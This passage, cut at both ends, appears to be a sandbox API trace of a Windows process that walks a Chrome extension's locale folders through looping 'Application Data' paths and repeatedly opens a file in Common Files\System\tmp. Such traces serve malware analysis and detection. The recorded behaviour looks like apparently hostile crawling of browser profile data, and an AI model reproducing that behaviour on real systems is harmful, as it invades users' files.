0x7d18b0 [0141.450] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.450] GetLastError () returned 0x12 [0141.450] AreFileApisANSI () returned 1 [0141.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.450] GetFileType (hFile=0x128) returned 0x1 [0141.451] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.451] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.452] GetLastError () returned 0x12 [0141.452] AreFileApisANSI () returned 1 [0141.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.452] GetFileType (hFile=0x128) returned 0x1 [0141.453] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.497] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.497] GetLastError () returned 0x12 [0141.497] AreFileApisANSI () returned 1 [0141.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.497] GetFileType (hFile=0x128) returned 0x1 [0141.498] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.498] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.498] GetLastError () returned 0x12 [0141.498] AreFileApisANSI () returned 1 [0141.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.498] GetFileType (hFile=0x128) returned 0x1 [0141.498] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.544] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.544] GetLastError () returned 0x12 [0141.544] AreFileApisANSI () returned 1 [0141.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.544] GetFileType (hFile=0x128) returned 0x1 [0141.544] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.545] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.545] GetLastError () returned 0x12 [0141.545] AreFileApisANSI () returned 1 [0141.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.545] GetFileType (hFile=0x128) returned 0x1 [0141.545] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.591] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.591] GetLastError () returned 0x12 [0141.591] AreFileApisANSI () returned 1 [0141.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.591] GetFileType (hFile=0x128) returned 0x1 [0141.591] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.592] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.592] GetLastError () returned 0x12 [0141.592] AreFileApisANSI () returned 1 [0141.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.592] GetFileType (hFile=0x128) returned 0x1 [0141.592] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.592] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.593] GetLastError () returned 0x12 [0141.593] AreFileApisANSI () returned 1 [0141.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.593] GetFileType (hFile=0x128) returned 0x1 [0141.593] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.637] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.638] GetLastError () returned 0x12 [0141.638] AreFileApisANSI () returned 1 [0141.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.638] GetFileType (hFile=0x128) returned 0x1 [0141.638] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.685] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.685] GetLastError () returned 0x12 [0141.685] AreFileApisANSI () returned 1 [0141.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.685] GetFileType (hFile=0x128) returned 0x1 [0141.685] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.686] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.686] GetLastError () returned 0x12 [0141.686] AreFileApisANSI () returned 1 [0141.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.686] GetFileType (hFile=0x128) returned 0x1 [0141.686] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.731] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.731] GetLastError () returned 0x12 [0141.731] AreFileApisANSI () returned 1 [0141.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.731] GetFileType (hFile=0x128) returned 0x1 [0141.732] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.732] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.732] GetLastError () returned 0x12 [0141.732] AreFileApisANSI () returned 1 [0141.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.732] GetFileType (hFile=0x128) returned 0x1 [0141.732] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.792] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.792] GetLastError () returned 0x12 [0141.792] AreFileApisANSI () returned 1 [0141.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.792] GetFileType (hFile=0x128) returned 0x1 [0141.792] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.793] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.793] GetLastError () returned 0x12 [0141.793] AreFileApisANSI () returned 1 [0141.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.840] GetFileType (hFile=0x128) returned 0x1 [0141.840] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.887] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.887] GetLastError () returned 0x12 [0141.887] AreFileApisANSI () returned 1 [0141.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.887] GetFileType (hFile=0x128) returned 0x1 [0141.888] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.888] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.888] GetLastError () returned 0x12 [0141.888] AreFileApisANSI () returned 1 [0141.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.888] GetFileType (hFile=0x128) returned 0x1 [0141.888] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 